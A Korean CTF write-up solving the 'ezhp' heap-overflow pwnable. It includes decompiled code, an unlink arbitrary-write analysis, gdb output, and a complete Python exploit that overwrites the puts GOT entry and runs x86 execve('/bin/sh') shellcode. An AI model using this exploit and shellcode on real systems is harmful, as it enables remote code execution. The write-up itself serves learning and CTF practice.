ezhp
Pwnables (200 pts)
-------------------
Luckily when you travel back in time, you still get to use all your
knowledge from the present. With that knowledge in hand, breaking
into this service (at 54.81.149.239:9174) owned by The Plague
shouldn't be hard at all.
위와 같이 메모를 추가, 수정, 삭제하는 프로그램으로 Heap Overflow 문제이다.
노트를 추가하는 add함수와 삭제하는 remove 함수이다. 여기서 해당 함수에서 heap에 메모리에 대한 관리를 한다.
int add_8048794() { int result; // eax@2 intptr_t delta; // [sp+18h] [bp-10h]@3 if ( noteID <= 1022 ) { puts("Please give me a size."); fflush(stdout); __isoc99_scanf("%d%*c", &delta); buf[noteID] = (int)alloc_804858B(delta); result = noteID++ + 1; } else { puts("The emperor says there are too many notes!"); result = fflush(stdout); } return result; }
int remove_804881A() { int result; // eax@1 int id; // [sp+1Ch] [bp-Ch]@1 puts("Please give me an id."); fflush(stdout); __isoc99_scanf("%d%*c", &id); result = noteID; if ( id <= noteID ) { result = id; if ( id >= 0 ) { if ( buf[id] ) free_8048708(buf[id]); result = id; buf[id] = 0; } } return result; }
입력받은 size만큼 힙 메모리에 read를 수행하는 change함수이다. heap overflow가 발생하는 지점이다.
ssize_t change_8048893()
{ ssize_t result; // eax@1 int v1; // [sp+18h] [bp-10h]@1 size_t nbytes; // [sp+1Ch] [bp-Ch]@4 puts("Please give me an id."); fflush(stdout); __isoc99_scanf("%d%*c", &v1); result = noteID; if ( v1 <= noteID ) { result = v1; if ( v1 >= 0 ) { result = buf[v1]; if ( result ) { puts("Please give me a size."); fflush(stdout); __isoc99_scanf("%d%*c", &nbytes); puts("Please input your data."); fflush(stdout); result = read(0, (void *)buf[v1], nbytes); } } } return result; }
위의 change함수에서 heap overflow가 발생하는데 실제 exploit을 수행하기 위한 취약점은 힙 메모리를 alloc&free하는 지점에서 발생한다.
힙 관리는 double linked list 형태로 관리하는데 | size | next | prev | data ~~ | 의 구조로 Heap Structure가 존재한다. heap overflow 로 heap header부분을 조작하여 임의의 주소에 원하는 값을 삽입하도록 하여 exploit을 발생시킬 수 있다.
[+] 힙 구조체 생성
00000000 heapStruct struc ; (sizeof=0xD) ; XREF: alloc_804858Br
00000000 ; free_8048708r
00000000 size dd ?
00000004 next dd ?
00000008 prev dd ?
0000000C data db ?
0000000D heapStruct ends
0000000D
아래 함수들은 add와 remove 함수 내의 힙 메모리를 컨트롤하는 부분이다.
heapStruct *__cdecl free_8048708(int heapData) { heapStruct *result; // eax@8 heapStruct *heapStruct; // [sp+4h] [bp-Ch]@2 int prev; // [sp+8h] [bp-8h]@2 int next; // [sp+Ch] [bp-4h]@2 if ( heapData ) { heapStruct = (heapStruct *)(heapData - 12); prev = *(_DWORD *)(heapData - 12 + 8); next = *(_DWORD *)(heapData - 12 + 4); if ( prev ) *(_DWORD *)(prev + 4) = next; if ( next ) *(_DWORD *)(next + 8) = prev; heapStruct->next = firstHeap->next; if ( firstHeap->next ) *(_DWORD *)(firstHeap->next + 8) = heapStruct; firstHeap->next = (int)heapStruct; result = (heapStruct *)(heapData - 12); heapStruct->size &= 0xFFFFFFFE; } return result;
}
위에서 free하는 함수를 보면 *(_DWORD *)(prev + 4) = next;와 *(_DWORD *)(next + 8) = prev; 코드에서 prev와 next는 heap overflow로 조작가능하기 때문에 특정 주소에 원하는 값을 넣을 수 있다.
ex)
아래는 할당된 힙메모리에서 다음 힙을 덮을때 까지의 거리를 구해본다. (12byte의 더미 확인)
| 12byte dummy | size | next | prev |
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bbolmin/Desktop/ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
12
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
12
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
36
Please input your data.
aaaaaaaaaaaabbbbbbbbbbbb111122223333
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
2
Please give me an id.
1
Program received signal SIGSEGV, Segmentation fault.
0x0804873b in ?? ()
(gdb) x/i $eip
=> 0x804873b: mov %edx,0x4(%eax)
(gdb) x/x $eax
0x33333333: Cannot access memory at address 0x33333333
(gdb)
==> exploit 방식은 아래와 같다.
메모리 구조 : | size | next | prev | data |
1. 노트3개를 할당한다.
2. 노트2을 change 해서 노트3의 next를 puts_got-8로 overflow 시킨다.
(이때 prev는 그대로 둔다. 노트2를 가리키면서 해당 영역에 쉘코드를 삽입할 것임.)
3. 노트1을 change해서 노트2에 쉘코드를 삽입한다. (*(prev+4) = next 때문에 앞에 jmp코드와 nop을 삽입해 줘야준다.)
4. 노트3을 remove시켜 실제로 GOT overwrite를 수행한다.
5. 다음 메뉴를 자동으로 출력하면서 puts 함수가 실행되므로 바로 exploit이 된다.
6. command 실행 ~~
[ exploit code ]
# -*- coding: cp949 -*-
# final exploit (python)
from socket import *
import struct
HOST = '192.168.11.131'
PORT = 9000
puts_got = struct.pack('<I', 0x0804a008-8) #*(next+8)=prev 이기 때문에 -8 해준다.
jmp_sh = '\xeb\x04\x90\x90'
execve_sh = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
shellcode = jmp_sh + '\x90'*4 + execve_sh #*(prev+4) = next이기 때문에 4byte의 쉘코드가 변조됨
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
#노트 메모리 구조 : |size|next|prev|data| 12byte dummy |size|next|prev|data|
######### 노트 3개 추가 ###########
s.recv(4096)
#add note(id0) - size:120
s.send('1\n')
s.recv(4096)
s.send('120\n')
s.recv(4096)
#add note(id1) - size:120
s.send('1\n')
s.recv(4096)
s.send('120\n')
s.recv(4096)
#add note(id2) - size:120
s.send('1\n')
s.recv(4096)
s.send('120\n')
s.recv(4096)
#################################
#change 1 (GOT overwrite를 위한 overflow)
# 두번째 노트의 데이터 변경 -> 세번째 노트 overwrite
s.recv(4096)
s.send('3\n')
s.recv(4096)
s.send('1\n') #id
s.recv(4096)
s.send('140\n') #size : 120+12+8
s.recv(4096)
s.send('a'*136 + puts_got + '\n')
print '[+] Fisrt overflow !'
#change 2 (shellcode insert)
# 첫번째 노트의 데이터 변경 -> 두번째 노트 overwrite
s.recv(4096)
s.send('3\n')
s.recv(4096)
s.send('0\n') #id
s.recv(4096)
s.send('264\n') #size : 120+12(dummy)+12(header)+120(data)
s.recv(4096)
s.send('a'*132 + shellcode + '\n')
s.recv(4096)
print '[+] Second overflow !'
#remove id2 note
# 세번째 노트삭제 - GOT overwrite 발생
s.send('2\n')
s.recv(4096)
s.send('2\n') #id
s.recv(4096)
print '[+] puts GOT Overwrite and executed !\n'
#call puts function
s.send('id\n')
print s.recv(4096)
'Wargame > review' 카테고리의 다른 글
2014 codegate - autumata[400] (0) | 2014.04.10 |
---|